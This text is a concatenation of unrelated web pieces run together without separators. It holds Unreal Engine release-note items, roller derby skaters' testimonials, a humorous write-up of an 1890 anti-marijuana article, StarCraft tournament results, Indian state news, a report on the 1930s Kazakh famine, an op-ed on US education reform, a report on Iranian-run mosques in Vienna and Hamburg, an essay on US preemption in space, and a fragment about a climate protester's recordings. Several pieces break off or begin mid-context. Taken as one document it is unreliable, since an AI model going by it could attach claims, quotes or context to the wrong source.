New: After making changes to certain language settings which require an editor restart, a toast prompt is now displayed indicating this to the user, with a button for performing the restart.
New: Camera preview window in the level viewport now has better support for actors with multiple camera components. It will ignore camera components with bIsActive set to false, letting the user decide which component to use.
New: Changed Plugin Creator to allow new plugins to be created in subdirectories.
New: Changed the hierarchy of some of the command lists to better reflect when a keypress has the potential to be handled by a parent if necessary. This fixes the issue where some hot keys were not alerting the user that they had already been assigned in the Keyboard Shortcuts editor.
New: Changed the placement offset for lights so that they're placed closer to the cursor.
New: Changes to spawning / duplicating actors in Simulate In Editor: now actors are always spawned non-permanently into the SIE world, in line with other edits to actors which are reverted upon exiting SIE.
New: Clarified the use of Server Game Options and Command Line Options in the tooltips for the Level Editor -> Play settings.
New: Disabled the "Refresh/Generate Project" and "Open C++ Code" actions for Blueprint projects with no C++ code.
New: Engine: Allowed the use of tokens {GameName}, {PlatformArchitecture}, or {RHIName} in UGeneralProjectSettings::ProjectDisplayedTitle Note: The value must be manually edited in the ini file and wrapped with "" currently, due to a core issue with ini values for strings/text that contain { or })
New: Experimental "Merge Actors" feature now merges collision bodies.
New: Fixed and enabled UnrealBuildTool makefiles on Mac. This should give faster build iteration times on Mac.
PARIS – Agence France-Presse
AFP Photo
Roller derby is probably one of the most challenging and rewarding things I’ve ever done. I love the fact that everyone is so full of passion for this sport and dedication for this league and its members. This is such an empowering atmosphere, and I’m just in awe to be surrounded by so many amazing people. I feel cheesy for saying this, but LDV made me fall in love with Lansing, and I’m so happy I moved here. -Alex, “Bailey’s Irish Cream-Her”
It’s redefining who I thought I was. There’s a grit now that’s more intense, a voice in my head that tells me in moments of trepidation to suck it up buttercup, this is what you’re here for. And it gets proven right over and over again, when oh my god, did I just do a 180 at the front of the pace line and not fall on my ass and wove through going backwards, holy shit! I get that, every. Single. Week. And I love it. -Chasserae, “Red Ramming Hood”
The camaraderie and support is very important to me. The thought of what’s to come and the excitement of my first bout. Just knowing I will get better. -Alesha, “A-Lesh Da Beast”
There is so much that excites me about derby!! It’s fun to go out on the track, forget your everyday problems and knock a few people around as they try and do the same, all in good clean fun!!I love the support from everyone on and off the track. I’ve loved seeing myself grow as a skater; when I started the 101s I was a horrible beginner. I love being a role model to SOOOOO many and having so many people respect what I’m doing and that I’m learning. I love going out on the track and dominating at some things then having another skater come along and dominate at something I’m horrible at, kind of puts me in my place. I love the athleticism that comes from derby and that derby builds. I love how derby shows you what you are capable of, pushes you to your limits and beyond, physically and mentally. Pushes you to get up after every fall, bump and loss of balance. It shows you that you are capable of what you never thought possible. It’s DERBY!!!! – Tara, “Maullie Maddawg”
My road to Derby started at a friend’s house last November. I had no idea that roller derby was an actual sport or really what it was, save the stereotypical roller derby girl with tattoos and tiny shorts. I was talking to my friends about how down I had felt recently and that I needed to find something that would help me climb out of my proverbial hole. A friend of theirs came over, who also happened to be on the Lansing Derby Vixens Charter team. She began excitedly telling me about ‘derby’. It certainly had the appeal of pushing people around, which at the time, I presumed would assist me in getting rid of some of my excess aggression. Little did I know that I would meet some amazing women, and friends, that I would apologize profusely to every time I ran into them! From the beginning with Derby Lite to now was a whirlwind of Thursday evening and Sunday morning practices. At each practice, I was getting better and better. I started requesting groups of friends to join me at Edru on Wednesday nights so that I could continue practicing, in hopes of being able to skate backwards, do a 180, do a 360, or even just stop correctly. I took a moment at last week’s practice to watch everyone and took note of how far all of us have come. It has been amazing to see the progress in each person!!! I feel lucky to have met every fresh meat skater, the vets, and the coaches. I look forward to getting even better as well as continuing to further build these relationships I have made. – Constance, “Mz. Hyde”
Knowing that tomorrow night I can strap my skates on and practice with an awesome group of people is exciting! – Emily, “Bossy Rossy”
What excites me is the support and encouragement from everyone. -Nicole, “Babb to the Bone”
What surprises me is every time I feel like I’ve hit a wall I find some physical strength left in me to continue. I used to be such a lazy wimp and it surprises and excites me every time I am able to push myself harder. -Ashley, “Eirinn go Brutal”
Silverton Standard
from January of 1890 was meant to scare people.
Continue Reading
But as is the case with a lot of these old pieces, they actually do a great job of selling us on the amazing effects of cannabis.
Even if they aren't exactly accurate.
A few things we learned from this informative piece:
• Marijuana's effects are geographically determined. If you're in Turkey, you're going to have a pleasant buzz. If you're in the West, you're not going to like it very much at all.
• Marijuana was given to soldiers to "destroy their fear and fill them with supernatural frenzy."
• Turkish people love weed.
• "It often brings hallucinations the reverse of pleasant"
The article goes on to tell five cautionary tales. The first is about a woman who thought her body was split into two. The lower half ran off and she couldn't figure out how to get it back. Eventually she passed out and all was okay the next day.
The second story features a "Mrs. R," who thought her toes were leaving her body one by one. Then her legs left. Then her fingers, arms and body, until all that was left was her heart. She then woke up. From a dream. And that seems to be the biggest fear the piece cites: that you'll have a slightly fucked-up dream.
"These dreams were undoubtedly terrible on account of the innate fear of death," the author writes.
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The third story tells about a man who walked ten miles and met with friends along the way but had no recollection of how he had ended up across town by the time his journey was finished. Oh, the horror. The fourth story is similar, though the man couldn't determine distance and had to be helped out of the street by passersby. Neither story gives names, dates or locations for the incidents.
The finest story, however, comes from a doctor who used herb to get rid of a headache. We've reproduced it below for you fine people. Enjoy.
The time has come for our first Losers Round 1 match of the IGN Pro League Tournament of Champions!
When: Wednesday, Mar 21 12:00am GMT (GMT+00:00) (we will also have a European re-broadcast as usual at Wednesday, Mar 21 4:30pm GMT (GMT+00:00) )
Format
ZeNEX.Life vs Artist
Poll: Who Will Win?!
Life (17)
Artist (9)
26 total votes (17)65%(9)35%26 total votes Your vote: Who Will Win?! (Vote): Life
(Vote): Artist
Results
+ Show Spoiler [Life vs Artist] + Life < Cloud Kingdom > Artist
Life < Metropolis > Artist
Life < Antiga Shipyard > Artist
Congratulations to Life, winning 3-0 and moving on to LR2! Artist has been eliminated!
ST.Squirtle vs Empire.Kas
Poll: Who Will Win?!
Squirtle (22)
Kas (15)
37 total votes (22)59%(15)41%37 total votes Your vote: Who Will Win?! (Vote): Squirtle
(Vote): Kas
Results
+ Show Spoiler [Squirtle vs Kas] + Squirtle < Cloud Kingdom > Kas
Squirtle < Antiga Shipyard > Kas
Squirtle < Daybreak > Kas
Squirtle < Tal'Darim Altar > Kas
Squirtle < Sanshorn Mist AE > Kas
Congratulations to Kas, winning 3-2 and moving on to LR2! Squirtle has been eliminated.
ZeNEX.Life vsArtistST.Squirtle vsEmpire.Kas
This double-elimination tournament features 16 players from around the world and is an best of 5 format. This match is being played for Losers Round 1. The winning player will move on in the Losers Bracket, and the loser will be eliminated entirely! Keep in mind that the top 8 spots receive prize money!
The First Game for this match of IPL Tournament of Champions is on Wednesday, Mar 21 12:00am GMT (GMT+00:00) (we will also have a European re-broadcast as usual at Wednesday, Mar 21 4:30pm GMT (GMT+00:00) )
Map List
IPLMap Sanshorn Mists AE
IPLMap Atlantis Spaceship
IPLMap Antiga Shipyard
IPLMap Daybreak
IPLMap Tal'Darim Altar LE
IPLMap Cloud Kingdom
IPLMap Metropolis
All the maps can be found on NA, EU, or KR by searching for IPLMap!
The first map will be on a set rotation, and then it is loser's pick.
Casters
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An official release from the state government quoted Rupani in Junagadh as saying, “Current state government is devoted to poor and farmers. Everyday, the government is taking decisions to ensure happiness, peace and principle of non-violence. Next week, a law regarding cow-progeny and cow-slaughter will be presented. A Bill will be presented (before Gujarat Assembly) to prescribe stringent punishment for such offences (of cow slaughter).”
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“There have been long pending demands to start an academy for these three languages of Uttaranchal and we find the demand justified. Delhi has a dominant Uttaranchali population and it will also promote tourism for us. It has been our aim to promote languages and culture and with a dominant population from Uttaranchal in Delhi, we do think there is a need to put this in place. Today we have decided on the formation of one such new academy and the process of setting it up will take at least six months to complete,” Tourism and Culture Minister Kapil Mishra told The Indian Express.
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“This will be a first of its kind. Even Uttarakhand does not have any such academy. The three languages of Garhwali, Kumaoni and Jaunsari are extremely rich and need to be preserved and promoted. Hope this will inspire the Uttarakhand government to start it in their own state too.”
The Delhi government will now scout for a noted literary personality adept at the languages for the post of vice-chairman while a bureaucrat will have to be appointed as the secretary of the academy.
An annual sanction of Rs 1 crore to Rs 2 crore is made for the various language academies and a similar allocation is set to be sought in the next budget for the new academy too.
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When Nurziya Kazhibayeva was six years old, a famine swept across Kazakhstan.
“One day back then my mother told me: ‘We’re going to China. You can walk, can’t you? You’re a good girl. We’ll be going there on foot.’ I asked: ‘Is it far?’” recalled Kazhibayeva.
It was the early 1930s, and Kazakhstan was in the grip of a man-made catastrophe that would claim millions of lives across the Soviet Union.
To avoid the same fate, Kazhibayeva’s family of nomadic herders trudged from their home in east Kazakhstan across the border to China in March 1933, recalled 91-year old Kazhibayeva, her tone lucid and resonant despite her advanced years.
It was the sight of dead bodies piling up on the byways that made up her father’s mind. “One day, he came home asking: ‘Will we survive or not?’ Because there were so many dead bodies on the road… My father saw many of those. That’s what I know about the famine,” Kazhibayeva told EurasiaNet.org in a March interview sitting in the apartment of her daughter Nazira Nurtazina, a historian who has published her mother’s memoirs.
Kazhibayeva’s father had already made the arduous journey to Xinjiang in northwestern China. In 1916, to avoid a decree issued by Imperial Russia mobilizing Muslims for rearguard work in World War I that sparked a Central Asia-wide uprising, he escaped to China, returning only after the Russian Revolution.
Nearly two decades later, he set off again, with his family in tow. A guide agreed to show them a route to evade Soviet border patrols that might shoot them on sight. In exchange, the family would feed the guide and his son with the bulgur wheat they had prepared for their journey, and carry the boy, who was sick.
“We set off at night and I was among them,” said Kazhibayeva. “I was the youngest of all — I was six years old. My uncles, my father’s younger brothers, led me by the hand. We walked by night and slept by day.”
It took 15 days to march across the mountains to the town of Tacheng, where the family bartered jewelry for food. Later, they exchanged some possessions for cattle and joined a nomadic Kazakh auyl (village) in the countryside.
There, they survived the Asharshylyk, as Kazakhs call the famine, which is commemorated in Kazakhstan on May 31 – an annual day remembering victims of Stalinist repressions.
The famine was the consequence of collectivization policies instituted by Josef Stalin in the late 1920s. In Kazakhstan’s case, this meant corralling nomadic herders and their cattle into collective farms, where everything would be collectively managed for the good of the people. The accelerated pace of the effort, which involved massive requisitioning of grain and cattle, led to widespread starvation across Russia, Belarus, Ukraine and Kazakhstan.
“The main reason [for the famine in Kazakhstan] was the liquidation of the Kazakhs’ traditional animal husbandry,” said Talas Omarbekov, a history professor at the Al-Farabi Kazakh National University in Almaty. “At the start of the 1930s, the Kazakhs had almost 40 million heads of cattle. Three years later, there were 4.5 million left.”
Kazakh nomads had previously roamed in small groups that fed themselves, but the mass requisitioning of their herds to feed other parts of the Soviet Union left them facing starvation.
“Meat requisitioning was particularly alarming and ruinous for the Kazakhs,” said Omarbekov, who has been researching the famine for a quarter of a century. “The Kazakh, who was a nomad and herder, had always been saved by his cattle, its meat, its milk, its kymyz [mare’s milk] — so he automatically perished.”
“Their only wealth was their cattle — their only wealth,” said Smagul Yelubay, a writer whose family survived the famine by fleeing western Kazakhstan and ended up living in Turkmenistan in a village on the border with Afghanistan. “When their cattle was taken away, they perished.”
Overall, an estimated one million Kazakhs ran for their lives. Of those, maybe 400,000 later returned.
Yelubay was the first writer to chronicle Kazakhstan’s famine in fiction, in his novel The Lonely Yurt.
The book brings to life the horrors of 1930s. The novel was written in secret in the 1980s, when there was a taboo on discussing the famine in the Soviet Union, and published after independence. “I wrote it from the heart,” said Yelubay, who recently turned 70. “I couldn’t not write it. It was burning my soul up too much.”
To this day, nobody knows how many people died due to the famine in Kazakhstan. Low estimates put the death toll at 1 million. Omarbekov’s research suggests up to 2.3 million people perished from hunger and disease — that is more than one-third of Kazakhstan’s pre-famine population of 6.2 million.
For the Kazakhs, it was a demographic disaster that reverberates to this day.
“If the famine hadn’t happened at that time, the size of the Kazakh population today would have reached several tens of millions,” said Boris Dzhaparov, the director of the Archive of the President, in an interview in his office in Almaty.
In the dusty archives, one researcher spends some of her time trying to document the names of the famine victims for a project launched last year, using mainly archival evidence, but also submissions from the public. “It is very difficult,” said Aynash Seysenbayeva, demonstrating on her screen the Asharsylyq.kz database, where the information is collated. “You see a name [in a document] but you have to read it and try and work out what that name is… and work out if the person died of hunger or not.”
It is a mammoth task. In just over one year, Asharsylyq.kz has managed to confirm just 415 names.
In Ukraine, the famine, which is known there as the Holodomor, is officially designated a genocide. Many historians there argue, in a reading of history that is violently disputed by many of their Russian colleagues, that the famine was engineered to wipe out the Ukrainians as a people.
The prevailing mainstream view in Kazakhstan, which prizes its alliance with Russia, is notably different. President Nursultan Nazarbayev depicts it as a collective tragedy for which the totalitarian system was responsible, although some people would like to see a historical reckoning.
Kazhibayeva counts herself lucky that her family managed to outlive the famine and was able to return to Kazakhstan after six months.
By Jeff Bryant
Events this week revealed how market-driven education policies, deceivingly labeled as “reform,” are revealing their truly destructive effects on the streets and in the corridors of government.
From the streets, we heard from civil rights and social justice activists from urban communities that school turnaround policies mandated by the Obama administration’s education agenda are having disastrous results in the communities they were originally intended to serve.
From the corridors of government, we were presented with irrefutable evidence that leaders driving the reform agenda are influencing public officials to write education laws in a way that benefits corporate interests rather than the interests of students, parents, and schools.
These events, in tandem, reveal an inconvenient truth of education reform that should make anyone who promotes these policies question, “Whose interests are being served here?”
The Message From The Street
This week, over 200 activists, community organizers, parents, and students from 18 cities across the US gathered in Washington, DC, to confront Secretary of Education Arne Duncan over widespread public school closures prompted by the Obama administration’s policies.
As reported by Huffington Post’s education reporter Joy Resmovits, “Members of the group, a patchwork of community organizations called the Journey for Justice Movement, have filed several Title VI civil rights complaints with the Education Department Office of Civil Rights, claiming that school districts that shut schools are hurting minority students.”
Although these school closures are often justified as necessary for budget reasons and declining enrollment, Journey for Justice activists unanimously placed blame for school closures on market-based “reform” polices.
Resmovits quoted Helen Moore, an organizer from Detroit, who called the current reform movement “tantamount to racism.” She said, “All the things that are happening are by design, by design, by design. They don’t want our children to have an education, but we’ll fight to the death.”
The “design” Moore likely referred to is the Obama administration’s “turnaround models” proposed for schools that don’t make sufficient growth in student test score results. These models, criticized from the get-go as lacking a research base and being too inflexible, became requirements for states and districts to receive federal grant money in the administration’s Race to the Top and School Improvement Grant programs.
The results of these punitive measures have been felt disproportionally in communities of underserved children – and especially among children of color.
In fact, the The New York Times article on the Journey for Justice confrontation referenced data from Action United, a Philadelphia-based group, showing that 80 percent of the students affected by the planned school closings in Philadelphia are black although the district’s enrollment is 55 percent black and 19 percent Hispanic.
That schools now being designated as “needs improvement” and targeted for closing on the basis of test data tend to be those schools struggling to teach high poverty children should not come as a surprise to anyone. The strong correlation of low test scores to low income is universally true in every country in the world. But that fact alone doesn’t explain why reform leaders chose closure – the harshest of the four turnaround models – as the remedy of choice.
What may be propelling that decision is another emphasis of the White House’s reform policies – the rapid scaling up of a competitive parallel system of charter schools.
Another representative from Philadelphia, Helen Gym, explained the role charter schools are having in school closures occurring in her city. On the website Common Dreams she is quoted, “Whatever your opinion may be of [charter schools], there’s no question that the District has failed to explain its inconsistent approach of allowing charter expansion without regard to expense or academic quality while insisting on draconian and widespread sacrifice among [traditional public] schools.”
In Chicago as well, parents and teachers have pointed out that districts are justifying school closures on the basis of budget and attendance as they lavish millions of dollars on brand new, unproven charter schools.
The damages of these reform policies are especially harmful to the individual lives of students. In a write-up of the Journey for Justice rally at The Washington Post, a student representative in the crowd, twelve-year-old Gavin Alston, whose Chicago school was closed last year, explained that he is having to be homeschooled because there is no longer a middle or elementary schools in his neighborhood, and he won’t cross gang turf lines to get to his reassigned school 22 blocks away. “I have been denied the right to a quality education,” Gavin said.
The same day of the Journey for Justice demonstration, the National School Boards Association released a statement decrying Duncan’s school policies. At her blog on The Washington Post, Valerie Strauss posted NSBA’s release which called federal reform policies “unnecessary and counter-productive federal intrusion.” The organization is proposing legislation that would “protect local school district governance” from federal demands that are not “educationally, operationally, and financially supportable at the local level.”
Revelations Of Corruption
At the same time that open dissent to education reform erupted from the street, a remarkable leak of emails by the nonprofit organization In the Public Interest revealed how leaders of the education reform movement have written and edited laws, regulations and executive orders in ways that improved profit opportunities for their corporate benefactors.
Public Interest’s release of the emails shows, quoting Valerie Strauss again, “how a foundation begun by Jeb Bush, the former Florida governor and national education reform leader, is working with public officials in states to write education laws that could benefit some of its corporate funders.”
Strauss explained:
The e-mails are between the Foundation for Excellence in Education (FEE) and a group Bush set up called Chiefs for Change, whose members are current and former state education commissioners who support Bush’s agenda of school reform, which includes school choice, online education, retention of third-graders who can’t read and school accountability systems based on standardized tests. That includes evaluating teachers based on student test scores and grading schools A-F based on test scores. John White of Louisiana is a current member, as is Tony Bennett, the new commissioner of Florida who got the job after Indiana voters rejected his Bush-style reforms last November and tossed him out of office. Donald Cohen, chair of the nonprofit In the Public Interest, a resource center on privatization and responsible for contracting in the public sector, said the e-mails show how education companies that have been known to contribute to the foundation are using the organization “to move an education agenda that may or not be in our interests but are in theirs.”
Writing at the blogsite of The Nation magazine, investigative journalist Lee Fang delves into some details of the leaks:
What’s new in this release, however, is the revelation that Bush could be using his education reform crusade for personal gain. In one e-mail from last year, Bush’s top aide at his foundation, Patricia Levesque, communicated with school officials to urge them to use a company called SendHub, a start-up that uses cloud computing and text messages. Bush, according to TechCrunch, has a modest “five-figure” investment in SendHub. Garrett Johnson, the founder of SendHub, previously worked for Bush and still serves on the board of Foundation for Florida’s Future, another Bush-run education nonprofit.
More details:
In New Mexico, FEE [the foundation set up by Bush] acted as a broker to organize meetings between their corporate donors and individual Chiefs [for Change].
Maine moved the FEE policy agenda through legislation and executive order that would remove barriers to online education and in some cases would require online classes – including eliminating class size caps and student-teacher ratios, allowing public dollars to flow to online schools and classes, eliminate ability of local school districts to limit access to virtual schools.
In Florida, FEE helped write legislation that would increase the use of a proprietary test (FCAT) under contract to Pearson, an FEE donor.
What’s worse than this blatant profiteering off taxpayer money is the fact that many of the education providers being pushed by the reform movement have an abysmal track record of service to students. Fang explains:
While the education tech industry has enjoyed a recent surge thanks to the policies enacted by Jeb Bush and his allies, there’s growing evidence that these privatized, proprietary charter schools are under-performing. One of the biggest beneficiaries of the virtual charter school policies peddled by FEE, the publicly-traded online charter school management company K12 Inc., has been cited in several studies for its abysmal performance. A report last year found that K12 Inc.’s students score between 14 and 36 percent lower than their non-cyber school peers. Only 27.7 percent reported meeting Adequate Yearly Progress standards in the 2011 school year, which the National Education Policy Center notes, compares poorly to the 52 percent average scored by brick-and-mortar schools.
The Inconvenient Truth Revealed
In the recent Presidential Election, both candidates proclaimed education reform to be “the civil rights issue of our time” – the very same words uttered by former president George Bush over a decade ago when he signed the No Child Left Behind legislation.
Over 10 years later we see how education reform mandates have played out – powerful corporate interests are mining new profit centers while poor children of color, who were the intended beneficiaries of reform, are getting stuck with the shaft.
Iranian regime-controlled mosques in Vienna and Hamburg stoke genocidal antisemitism against Israel, while the Imam Ali mosque in the Austrian capital propagates discrimination against women, according to a government report and statements.
The Austrian Integration Fund (ÖIF) said last week, in its report probing 16 mosques that in the Iranian regime-controlled Imam Ali mosque, that “the mosque is entirely on the same line as Iran’s state doctrine. Israel is not, regardless of its boundaries, recognized.
The goal is the destruction of the Jewish state.”
In one of the prayer services observed at the Imam Ali mosque in February, the cleric publicized a conference for the support of the Palestinians under the motto: “Palestine is the home of the Palestinians.”The imam complained during the service that the Islamic world was so occupied with its own problems that it had lost sight of the Palestinians and “negotiates with the ruthless usurper.” While Israel was not mentioned by name, the pejorative descriptions are believed to have targeted the Jewish state.The mosque is part of the Islamic Center of Vienna, which organizes the city’s annual al-Quds Day rally calling for the obliteration of Israel. Austrian neo-Nazis have over the years participated in the rally. In June, anti-Israel activists at the march held signs stating “Zionism is fascism,” according to an article in Der Standard.The ÖIF noted that in two of three sermons, Muslims were designated the victims in the Middle East. The Shi’ite-run institution said in a service in February that the West supported terrorists with highly developed technological weapons, and Sunni Arab states supported the US.In a March service at the mosque, an imam contended that “a global conspiracy of Western and Arab states seek to destroy Iran.”The study noted that the mosque could be viewed as the Austrian representation of the state-run Iranian cleric system. It is in close contact with Iran’s embassy in Vienna.Some members of the staff are converts who completed their training in Iran’s holy city of Qom.The ÖIF also said women were denigrated at the Imam Ali mosque.In February, a cleric advocated a clear separation of men from women: “There is a big difference between our Muslim women and other women in parts of the world. Our women do not fight for their intellectual interests. This difference was made possible by the Islamic Revolution [in Iran in 1979].”The report said the mosque assessed women in the West as “negative.” It added that the mosque conveys an extremist theological ideology that women have to sacrifice themselves for religion and the Islamic Republic of Iran. It concluded that the views of the Iranian mosque were not compatible with integration in Austrian society.German media reports on Wednesday wrote that the Iranian-regime run Islamic Center of Hamburg, which includes the Blue Mosque, will continue to be monitored by local intelligence officials. The German government called for the extended observation of Iranian regime institutions in Hamburg.The Islamic Center of Hamburg organizes the annual al-Quds Day march in Berlin. It is frequented by Hezbollah supporters and is a hotbed of antisemitism and anti-Western thinking.
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It’s time for the US Air Force to prepare for preemption in space
“Preemption is not controversial; legally, morally, or strategically.”
–Colin S. Gray
There are few strategic concepts as hotly debated as anticipatory self-defense, or preemption. This is particularly the case when considering military action in space. As Colin Gray observes above, preemption should not be considered controversial, because it is based upon hundreds of years of customary international law.
Preemption is an offshoot of the inherent right of self-defense, a concept that is largely well understood and is based upon hundreds of years of customary international and treaty law.
Despite this historic precedence, the United States still has much to do before preemption in space is, in fact, a viable means of protecting national interests. These discussions are especially needed as space grows more contested, degraded, and operationally limited. While being perhaps counterintuitive, developing the concepts of preemption well before conflict occurs enhances deterrence and promotes international peace and stability.
Specifically, America needs a better understanding of what is occurring in space, what constitutes a hostile action or intent, and a fully developed plan for discussing preemption with the international community to make preemption a viable strategic option.
Self-defense and preemption
Preemption is an offshoot of the inherent right of self-defense, a concept that is largely well understood and is based upon hundreds of years of customary international and treaty law. This right pertains to a state being able to defend itself in response to an armed attack.
Article 51 of the Charter of the United Nations recognizes nothing should impair the applicability of a state’s inherent right of self-defense. Similarly, the US Joint Chiefs of Staff’s Standing Rules of Engagement describe the fundamental right of self-defense under the authority and obligation to use all necessary means available to defend US forces—and in certain circumstances property—from a hostile act or demonstrated hostile intent, while taking into account the principles of necessity and proportionality.
In contrast, the legitimacy and practicality of anticipatory self-defense—which occurs before an armed attack or hostile act has actually occurred—is debated among legal scholars (see “China’s new space threat and the justification of US pre-emptive self-defense”, The Space Review, January 18, 2016). Some legal experts take a restrictive interpretation of Article 51 of the UN Charter by stating that the language “armed attack occurs” connotes self-defense only after an attack has begun or happened. Anticipatory or preemptive action would, accordingly, be illegitimate under the Charter.
Yet other legal scholars take a different view, stating the UN Charter’s language does not impair the inherent right of anticipatory self-defense in customary international law under certain conditions.
Unlike treaties, customary international law is not created by what states put down in writing but, rather, by what states do in practice. Secretary of State Daniel Webster’s case writings in 1842 regarding the Caroline diplomatic crisis and Roberto Ago’s legal writings in 1980 similarly conclude preemption is a legitimate action under the conditions of necessity, proportionality and immediacy.
Those conditions mean that there must be a need for military action against an adversary, the response should be proportional given the threat, and that the threat is considered to be of an immediate nature. The decision to act preemptively is a political choice, supported with military capability and justified to the international community.
Anticipatory self-defense is a viable course of action in space if vital US assets are under imminent threat of armed attack or a hostile act.
One of the best-known security documents advocating the legitimacy of preemption is the 2002 US National Security Strategy. It is notable in its unabashed consideration of preemptive action, as well as a preventative war, when there is an imminent threat to America. The document states, “The United States has long maintained the option of preemptive actions to counter a sufficient threat to our national security.”
The strategy articulates that the greater the threat, the greater the risk of inaction, thereby justifying anticipatory action to defend US interests, even if uncertainty remains as to the time and place of the enemy’s attack. Therefore, to prevent hostile acts by adversaries, the United States will—if necessary—act preemptively.
Considerations for preemption in space
Considering the wide-array of US national security interests in space and that preemption is widely considered as legitimate under customary international law, anticipatory self-defense is a viable course of action in space if vital US assets are under imminent threat of armed attack or a hostile act.
Preemption in space will need to meet the three preconditions—necessity, proportionality, and immediacy—noted previously. However, while preemption in space should not be considered controversial, space as a domain of warfare presents special challenges for preemptive action.
Specifically, preemption in space necessitates capabilities and processes for “observing” what is occurring, “categorizing” potential threats, and “communicating” understandings with the international community.
Observing
The goal of preemption is to act before an adversary, to mitigate or minimize a threat before negative consequences are realized. Acting inside an adversary’s decision cycle—or orient, observe, decide and act (OODA) loop—is a long taught concept within the US Department of Defense. US Air Force Col. John Boyd developed his OODA loop theory during the Korean War, in the belief that an ability to observe, orient, decide, and act faster than an adversary was the key to victory.
Preemptive action is also aimed at acting faster than an adversary to achieve one’s objectives and, therefore, supports the OODA loop concept.
The United States, however, lacks the requisite ability to operate within an adversary’s OODA loop in space and, therefore, cannot optimally execute anticipatory self-defense. Consequently, the United States needs to tighten its OODA loop in order to meet the threats it faces in space.
Today, the Joint Space Operations Center has a limited ability to understand the impact or significance of what satellites are doing. The current capability is more akin to “space surveillance and tracking” rather than on-orbit “situational awareness.” Furthermore, while the Space Fence will increase America’s ability to identify objects on-orbit, just knowing something is in space is not enough to support the decision loop. A comprehensive, real-time situational awareness capability is required in order to orient and act within the space environment.
Some things, like the newly renamed National Space Defense Center and civil space traffic management proposals by the FAA, are well are on their way to improving awareness, while others, like how the US Defense Department will organize to share threat information are not (see “America needs a space corps”, The Space Review, March 13, 2017).
Categorizing
The decision to act preemptively is ultimately a political decision, informed by the magnitude and manner in which US assets are being threatened. Without such an informed decision, preemption is merely aggression. With the growing number of threats to US space interests deployed today, the decision on what action to take to protect America’s space capabilities is becoming more urgent.
The range of potential offensive acts to critical space systems has contributed to confusion on what types of imminent armed attack or hostile acts rise to the occasion to warrant preemption.
The requisite information helps determine whether the military necessity precondition is met; a concept that requires a general understanding of what constitutes an “armed attack” (UN Charter Article 51 language), “threat or use of force” (UN Charter Article 2(4) language), or “hostile act or demonstrated hostile intent” (US Joint Chiefs of Staff Standing Rules of Engagement language). While the previous terminologies have similarities, each has a slightly different context and meaning. At times, these differences have resulted in ambiguity in when self-defense, let alone preemption, in space warfare is considered consistent with either customary international law or treaty law.
Another challenge for preemption in space is a result of the broad range of possible actions in space. This includes activities ranging from reversible (jamming) to non-reversible (destroying critical satellite electronics), and includes kinetic or non-kinetic actions, such as an anti-satellite missile or a laser. This range of potential offensive acts to critical space systems has contributed to confusion on what types of imminent armed attack or hostile acts rise to the occasion to warrant preemption.
Some strategists may question whether non-kinetic and reversible actions necessitate a military response. For these reasons, clarity is needed in US joint doctrine, as well as Standing and Supplemental Rules of Engagement, regarding the conditions justifying self-defense and informing a decision for preemptive action in space.
Communicating
The final consideration in weighing preemptive action is communicating. The US policy regarding preemption, with its emphasis on the legal basis for preemption and how armed attack and hostile acts in space are considered, needs to be shared among the international community. Such dialogue with allies and partners will lessen any misunderstanding or uncertainty during a war extending into space.
By communicating what types of situations will meet necessity, proportionality and immediacy—considerations for preemptive action—the United States will be better able to garner international support for potential coalitions to address emerging threats.
Moreover, the United States needs to take a leadership role among the international community and commercial space operators in discussing and refining what constitutes norms of behavior and standard business practices in space.
While the United States supports bilateral, multilateral, and international transparency and confidence building measures, more work needs to be done discussing and understanding the current norms of behavior and day-to-day business practices of commercial space operators. Such discussions hold promise in better defining actions that display hostile intent, as well as acts that meet immediacy criteria. This understanding will better inform a decision for preemptive action.
Logos for US Air Force Space Aggressors, who replicate potential foes in space. (credit: US Air Force)
Counterargument
History is replete with preemptive action that did not positively affect the outcome of the conflict. Pearl Harbor did not give Japan the advantage it needed to secure its territorial gains in World War II. The U.S.-led invasion of Iraq in 2003—which some consider a preventative war—did not result in the discovery of a large-scale weapons of mass destruction program assessed to be there.
While only being two examples of failed preemption, some critics might conclude preemptive action is not worth the associated cost and therefore should be eliminated from the strategic toolkit.
The counter-argument is that strategy is pursued to place one in a position of advantage for what comes next. When a state preempts, it makes a choice between receiving the first blow or striking first. Preemption is not a decision whether to go to war or not, it is about the terms under which the conflict will occur. Deciding against preemption when certain hostile action is imminent is unlikely to improve one’s military position, because the situation dictates that the decision for war has already been made.
If the attack is certain, there are only two reasons for withholding the use of preemptive force. First, it may not be feasible to preempt, because one’s OODA loop is not adequate. Second, it may be judged politically important to allow the enemy to attack first, thereby branding himself unquestionably as the aggressor. In the end, however, whether preemptive action is taken or not should not dissuade the United States from pursing the recommendations outlined above, because they are needed during the conduct of conflict anyway.
A US Air Force Space Operations mission commander oversees satellite control network antennas from Colorado. (credit: US Air Force)
The way ahead
Because the United States has significant national interests in space and may have the most to lose in a war in space, preemptive action should be considered as a military option. Customary international law has long supported the view that a state can attack first in a proportional manner, when under imminent threat of armed attack or hostile act.
Even though space is a domain of potential warfare—like the land, sea, and air—strategic space concepts like preemption are not fully developed commensurate with these other domains. There is no excuse for this situation.
But despite the view that preemption is consistent with customary international law, more work needs to occur before the US can, in fact, successfully employ preemptive action, even though notable work has been initiated.
Improving space situation awareness capabilities, clarifying armed attack and hostile act definitions, and communicating with the international community the criteria for preemption in space should all be further advanced and discussed. Additionally, the longer national security space organizational issues plague the US Defense Department, the longer it will be until America will have the capability to operate inside an adversary’s OODA loop.
More dialogue and debate in these areas should be welcomed among the security and policy communities, even if it results in the view that the United States presently lacks the requisite capabilities and processes.
US space capabilities need to be able to respond at any point in a space conflict timeline and at any location, whether preemptively or after being attacked. Such capabilities help ensure the highest probability to retain the choice to act preemptively. Without a full spectrum of space domain options, the United States is forced to address every problem with limited options.
As Abraham Maslow popularized in 1966, if you only have a hammer, it is tempting to treat everything like a nail. Preemptive actions can and should be tailored as the situation dictates, without unjustified limitations.
Final thoughts
Even though space is a domain of potential warfare—like the land, sea, and air—strategic space concepts like preemption are not fully developed commensurate with these other domains. There is no excuse for this situation. Capabilities that enable anticipatory self-defense actions enhance strategies to prevent conflict.
Potential adversaries believing America has a quicker OODA loop for on-orbit activities, an understanding of what constitutes an armed attack and hostile act, and a long-term effort to communicate when preemptive action is justified may decide not to seek direct confrontation with the United States, or its allies and partners.
The protester, Matilda Gifford, said she made the recordings using a hidden microphone to expose how she believes police sought to disrupt the legitimate activities of climate change activists.
She said she had two meetings with the officers after being released from police custody on bail following a Plane Stupid protest at Aberdeen airport.
She told the Guardian that the initial approach from the officers was "an opportunity that fell out of the sky".
